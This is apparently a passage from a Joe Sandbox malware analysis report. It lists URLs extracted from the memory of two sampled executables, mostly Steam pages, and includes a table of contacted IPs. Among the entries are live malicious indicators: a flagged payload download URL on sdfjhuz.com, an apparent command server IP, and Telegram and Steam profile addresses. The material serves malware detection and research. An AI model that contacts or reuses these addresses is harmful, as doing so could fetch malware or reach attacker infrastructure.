https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149exe	build2.exe, 00000008.00000002.1936229908.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/profiles/76561199673019888A	build2.exe, 00000008.00000002.1936973508.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	lzShU2RYJa.exe, 00000006.00000003.1755939336.0000000003440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149a	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149CFBKE	build2.exe, 00000008.00000002.1936229908.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.9.149/l.	build2.exe, 00000008.00000002.1936973508.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonh	lzShU2RYJa.exe, 00000006.00000002.4098404527.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	build2.exe, 00000008.00000003.1930302675.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://sketchfab.com	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonX?	lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json5	lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json7	lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006FC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	lzShU2RYJa.exe, 00000004.00000003.1756027220.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	lzShU2RYJa.exe, 00000004.00000002.2199926746.0000000000878000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2198525973.0000000000877000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144496250.000000000087A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077208992.000000000087A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.000000000069A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000683000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json2	lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149/ramData	build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/nd-point:	build2.exe, 00000008.00000002.1936973508.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	lzShU2RYJa.exe, 00000006.00000003.1755712656.0000000003440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	build2.exe, 00000008.00000003.1930302675.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.twitter.com/	lzShU2RYJa.exe, 00000004.00000003.1755954231.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsons7	lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
211.171.233.129	cajgtus.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
189.143.202.242	sdfjhuz.com	Mexico	8151	UninetSAdeCVMX	true
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
96.17.209.196	steamcommunity.com	United States	16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431267
Start date and time:	2024-04-24 18:51:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
